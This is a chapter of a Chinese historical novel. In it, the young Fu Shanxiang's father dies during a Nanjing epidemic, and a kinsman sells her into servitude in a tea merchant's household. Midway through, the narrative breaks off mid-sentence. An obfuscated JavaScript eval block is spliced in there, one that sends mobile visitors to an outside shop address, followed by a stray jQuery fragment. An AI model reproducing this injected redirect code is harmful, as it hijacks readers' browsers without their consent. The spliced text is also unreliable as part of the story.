傅槐病了。
不是傅知那种咳血的肺痨，是——他的身体像是觉得活着没意思了，就不想再运转了。大夫来看过，说是“郁结成疾，气血两亏”，开了补药。傅槐吃了几帖，不见好，也不见坏，就那么不死不活地拖着。
他不怎么出门了。
县学那边请了长假，课不上了，同窗来看他，他不见。王明伦来了三次，都被傅二挡在门外。周子衡写了一封信来，傅槐看完了，放在桌上，没有回。
他每天做的事，就是坐在书房里发呆。
书桌上摊着李淑芸的针线盒，里面放着那对银镯和那首诗。他把那首诗拿出来看了很多遍，看完了折好，放回去，过一会儿又拿出来看。
“曾向桥边立晚风，海棠花影月明中。此生若得同心语，不负窗前夜半灯。”
他写这首诗的时候，二十一岁，刚刚定亲，坐在书房里，想着那个站在石桥上的穿淡青色褙子的姑娘。他那时候以为，日子还长，一辈子很长很长，可以做很多事，可以慢慢来。
他不知道一辈子这么短。
傅善祥每天端饭到书房。傅槐吃几口就放下了，她再端走。饭量一天比一天小，人一天比一天瘦。赵妈变着花样做吃的，他吃不下。傅夫人躺在床上，不知道儿子的情况——也没人敢告诉她。
四月初，南京城里开始有人传——城外闹疫病了。
先是江宁镇，然后是江浦，然后是六合，一路往城里蔓延。有人说这是“喉痹”，有人说是“疫喉”，有人说就是伤寒，众说纷纭，但症状都差不多——高烧，喉咙肿痛，咳血，三五天就不行了。
县学关了，夫子庙关了，秦淮河的画舫也收了。城里的人开始往乡下跑，乡下的人不敢进城。
傅槐没有跑。他已经没有力气跑了。
四月十七，他开始发烧。
不高，三十七度多，但人昏昏沉沉的，分不清白天黑夜。傅善祥给他喂药，他喝了，吐了。再喂，再吐。
傅二去请大夫，大夫不敢来——疫情太重，大夫自己都病倒了。傅二跑遍了半个上元县，才找到一个还没倒下的老大夫。老大夫戴着厚厚的面巾，隔着帘子给傅槐诊了脉，开了一副方子，说：“看天命吧。”
傅善祥拿着方子去抓药。药铺的伙计隔着门板收了方子，把药包从门缝里递出来，像递一个烫手的山芋。街上没有人，家家户户门窗紧闭，偶尔有一两只野狗跑过，瘦得肋骨一根一根地凸出来。
她一个人走在空荡荡的街上，提着一包药。
那一刻她忽然想起母亲说过的话——“你的命是你自己的，谁也不能替你做主。”
她攥紧了药包。
傅槐的病拖了七天。
第七天，他的烧忽然退了。人清醒了，能坐起来了，吃了一碗粥。赵妈高兴得直抹眼泪，说“少爷好了，少爷好了”。
但傅善祥觉得不对。
父亲的眼睛——那双眼睛和以前不一样了。以前爹爹的眼睛是温温的、沉静的，像冬天灶膛里的炭火。现在那双眼睛像是被什么东西掏空了，里面什么也没有。
“善祥。”傅槐靠在床上，招了招手。
傅善祥走过去，站在床边。
“坐下。”
她坐下。
傅槐从枕头底下摸出一本书——是那本《资治通鉴》，翻得很旧了，书页卷了边，书脊上的线断了好几根，用麻绳重新缝过。那是傅槐的祖父传给傅知，傅知又传给傅槐的。扉页上有一行小字——“书犹药也，善读之可以医愚。”
“善祥，这本书，给你。”
傅善祥接过来，抱在怀里。书很重，压得她小小的身体微微往后仰了仰。
“爹爹——”
“你听爹爹说。”傅槐喘了口气，缓了缓，声音很轻，轻得像风。
“善祥，爹爹这辈子，最大的遗憾，不是没有中举，不是没有当官。是没能护住你娘，没能护住你弟弟。没能让你过一天好日子。”
傅善祥摇头：“爹爹——”
“让爹爹说完。”傅槐抬起手，摸了摸女儿的头。他的手很瘦，骨节分明，指甲发青。
“善祥，你比爹爹聪明。你比爹爹读过的人都聪明。但聪明没有用。这世道，不看你聪不聪明，看你是男是女，看你家世背景，看你有没有人护着。爹爹护不住你了。”
傅善祥的眼泪终于落了下来。
一滴，两滴，落在《资治通鉴》的封面上。
“所以你要自己护住自己。”傅槐的声音越来越轻，轻得像从很远的地方传来的。“爹爹能给你的，只有这本书。书是你的命。别丢了命。”
他重复了一遍——像是一种嘱托，一种咒语，一种最后的不舍。
“书是你的命。别丢了命。”
傅善祥咬着嘴唇，点头。
傅槐的手从她头上滑下来，落在被子上。
他的眼睛还睁着，看着女儿，嘴角微微上扬，像睡着了，像累了很久终于可以休息了。
傅善祥坐在床边，抱着那本书，看着父亲。
她没有喊人。
她知道，喊了也没用。
她把那本书贴在心口，感觉到书页的粗糙，感觉到封皮的冰凉，感觉到自己心跳的声音。
咚。咚。咚。
活着。
她还活着。
傅槐的丧事办得比傅知更简单。
棺材是薄板拼的，连漆都没刷。赵妈把自己攒了一辈子的棺材本拿出来，买了三尺白布，给傅槐做了寿衣。老刘头从城外找了一块荒地，不收钱，让他们自己挖坑。
没有道士，没有唢呐，没有挽幛。
傅善祥抱着父亲的牌位，走在送葬的队伍最前面。
队伍很短——老刘头，赵妈，傅二，还有傅善祥自己。
傅夫人卧床不起，傅柳来接她的时候，她连哭都哭不出来了，只是躺着，眼泪无声地从眼角淌下来，淌进枕头里，把枕头浸湿了一大片。傅柳跪在床边，拉着母亲的手，哭得说不出话，哭了很久才说出一句——娘，跟女儿走。
傅夫人被抬上了一顶小轿，抬去了城南的傅柳夫家。
轿子离开的时候，傅善祥站在门口，看着轿帘在风中微微掀开一角，露出祖母的白发。风把一缕白发吹出了轿帘，在日光里晃了晃，像一根被风吹断的蛛丝。
她忽然想起祖父给她取名字的那天——“善是内德，祥是外福。有善德于内，自得祥福于外。”
祖父，您的祥福，善祥还没有等到。
但善祥还活着。
活着就够了。
傅柳走之前，问傅善祥：“善祥，你跟姑姑走吗？”
傅善祥想了想，摇头。
“那你去哪里？”
“外祖家。”
傅柳想说什么，张了张嘴，又闭上了。她看了一眼傅善祥怀里的那本《资治通鉴》，看了看女儿的眼睛，沉默了。
“善祥，姑姑对不起你。”
“姑姑没有对不起善祥。”
傅柳低下头，眼泪又落了下来。
傅善祥站着，没有哭。
傅柳的轿子也走了。
傅家彻底空了。
赵妈回了乡下老家，老刘头去了儿子家，傅二没了去处，在街上晃了几天，后来听说去了码头扛大包。
井儿胡同的傅家大门，从里面闩上了。
没有人知道傅善祥一个人在里面住了几天。
也许是三天，也许是五天。她记不清了。
白天，她坐在书房里，把那本《资治通鉴》翻到第一页，从“威烈王二十三年”开始读。读到不认识的字，就查父亲留下的《康熙字典》，一本一本厚厚的，堆在书桌上，堆得比她还高。饿了就去厨房找吃的，赵妈走的时候留了一缸米，一坛咸菜，够她吃很久。困了就在东厢房睡，睡的是母亲睡过的床，枕头上还有母亲的气味，淡淡的，像桂花，像药，像眼泪。
夜里，她躺在黑暗中，听见老鼠在天花板上跑，听见风吹动窗纸的沙沙声，听见自己的呼吸。
她没有怕过。
因为她没有时间怕。她要读书。爹爹说，书是她的命。
第七天还是第八天，大门被人从外面砸开了。
来的人是族兄傅平。
傅平跪在傅槐的灵位前，哭得比谁都大声。槐弟，槐弟，平来晚了！平该死啊！”哭着哭着，还磕了几个头，额头磕在青砖地上，“咚”的一声，听着倒像是真的。哭完了，他站起来，擦干眼泪，转向傅善祥，脸上换了另一副表情——关切，慈爱，像一个真正的长辈。
“善祥，你一个人在这儿住了几天了？”
傅善祥看着他，没有说话。
“家里人都走了，你一个小姑娘，怎么住？这样，伯父送你去你外祖家。你外祖家在柳叶巷，离这儿不远，伯父认识路。”
傅善祥还是不说话。
傅平蹲下来，平视着她的眼睛。“善祥，伯父知道你不信我。你弟弟的事，伯父这辈子都对不起你。但伯父现在是真心想帮你。你爹临终前把你托付给伯父了，你知道吗？”
傅善祥看着他的眼睛。
那双眼睛——在笑。嘴角往下撇着，做出悲伤的样子，但眼睛在笑。
她见过这种笑。在弟弟出事那天，她从傅平的眼睛里也见过这种笑。不是故意的，是那种——我不在乎，但我知道我应该在乎，所以我做出在乎的样子——的笑。
她八岁。但她分得清。
“好。”她说。
傅平的表情顿了一下——他没想到会这么容易。
傅善祥没有犹豫，不是因为相信他，是因为——她没有别的地方可去了。傅柳在南城自顾不暇，外祖家的路她不认得，她一个人走不了那么远。
与其在这里等着饿死，不如赌一把。
赌赢了，去外祖家。
赌输了——她已经输了这么多了，不差这一回。
她抱着那本《资治通鉴》，跟着傅平出了门。
出门前，她回头看了一眼。
傅家的大门敞开着，门楣上没有匾额，影壁上的“福”字被雨水冲刷得淡了，只剩下浅浅的墨痕。石榴树歪着脖子，光秃秃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702479|208219||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的，没有叶子，没有花，没有果。正厅的门半掩着，里面黑洞洞的，什么也看不见。
她转过身，走了。
她没有哭。
那天是晴天，太阳很大，她的影子又短又小，像一个小黑点，贴在青石板路上，一步一步地移动。
她不知道这条路通向哪里。
但她知道，她不会再回来了。
傅平没有带她去柳叶巷。
她一开始就知道了。因为她认得往柳叶巷的路——外祖父教过她，“从井儿胡同出去，往西拐，过了乌衣巷，再往南，看见一棵大槐树，往东一拐就到了。”
傅平带她往东走了。
她没有问。她只是抱着书，一步一步地跟着。
出了城，上了一辆驴车。车上已经坐了一个妇人，四十来岁，圆脸，嘴角有一颗痣，穿一件灰扑扑的褙子，上下打量傅善祥，像在打量一件货物。
“这就是傅家那丫头？”妇人问傅平。
“嗯。识字的，读过书，能算账。”
“识字？”妇人的眼睛亮了亮，“那能多卖五两。”
傅平笑了笑，没说话。
傅善祥坐在驴车上，把那本书抱得更紧了。
她没有跑。驴车在走，她跑不了。即使跑得了，她也不知道该往哪里跑。
她闭上眼睛。
驴车在路上颠簸，一颠一颠的，像小时候母亲哄她睡觉时摇的摇篮。
她想起母亲说过的话——“你的命是你自己的，谁也不能替你做主。”
她没有做主。
但她还活着。
活着就行。
驴车在傍晚到了一个小镇。
妇人把傅善祥带进一座宅子——不大，三进的，比傅家大一些，比外祖家小一些。宅子里住着一个姓李的人家，不是她外祖父李家，是另一个李家，做茶叶生意的。
妇人把傅善祥交给李家的管家，接过一包银子，数了数，满意地揣进袖子里，走了。
傅平没有出现。
她不知道傅平拿了多少。也不想知道。
李家的管家是个五十来岁的男人，瘦长脸，留着两撇老鼠须，看着傅善祥，翻了翻她的眼皮，捏了捏她的胳膊，像验货一样。
“几岁了？”
“八岁。”
“叫什么？”
“傅善祥。”
“以后叫善祥就行。傅字不要提了。我们家少爷比你小四岁，你以后就伺候少爷。懂事点，别惹事。”
管家说完，走了。
一个小丫鬟带着傅善祥穿过一条长长的夹道，到了后院的一间小屋。屋子很小，只有一扇窗户，窗纸破了，风灌进来，冷飕飕的。屋里有一张木板床，铺着一层薄薄的稻草，稻草上扔着一条灰扑扑的棉被，被面上有几块发黄的污渍。
“这是你的屋。”小丫鬟说完就走了。
傅善祥把《资治通鉴》放在床头，坐在床板上。
她没有哭。
她低下头，看着自己的手。手背上还有墨水渍——是前几天在傅家书房练字时沾上的，洗了好几次都没洗掉。
她忽然想起爹爹说的话——“书是你的命。别丢了命。”
她从袖子里掏出那块边角料——弟弟小布鞋剩下的蓝色布料，上面还剩半只小老虎的耳朵。她把布料贴在脸上，贴了一会儿，然后小心翼翼地折好，塞进枕头底下。
窗外的天彻底黑了。
没有月亮，没有星星，什么都看不见。
她躺在硬邦邦的床板上，盖着那条脏兮兮的棉被，蜷缩着身体，把那本书抱在胸口。
她没有哭。
眼泪没有用。
眼泪救不了弟弟，救不了娘，救不了爹爹，救不了她自己。
她闭上眼睛。
在黑暗中，她听见自己的心跳声。
咚。咚。咚。
她想起母亲的手指，弯曲着指向梳妆台上的红漆匣子。
她想起父亲最后那句话——“书是你的命。别丢了命。”
她想起弟弟的手，小小的，凉凉的，攥得紧紧的。
她想起祖父给她取名字的那天，说“善是内德，祥是外福”。
窗外，不知道什么地方，有人在唱童谣，声音很远很远，听不清唱的是什么。
但那个调子，她在很久很久以前听过。
那时候她还很小，还在母亲的怀里，母亲拍着她，轻轻地哼着。
她闭着眼睛，嘴唇微动，跟着那个远远的调子，无声地唱着。
唱给自己听。
唱给听不见的人听。
唱给这个还没有完全碎掉的自己听。
天还会亮的。
她知道。
但她不知道的是——天亮之后，她要面对的，是另一个李家的院子，另一个“少爷”，另一段她从未想过的日子。
她只知道一件事。
她还活着。
活着，就有机会。
活着，就能读书。
活着，就能离开这里。
总有一天。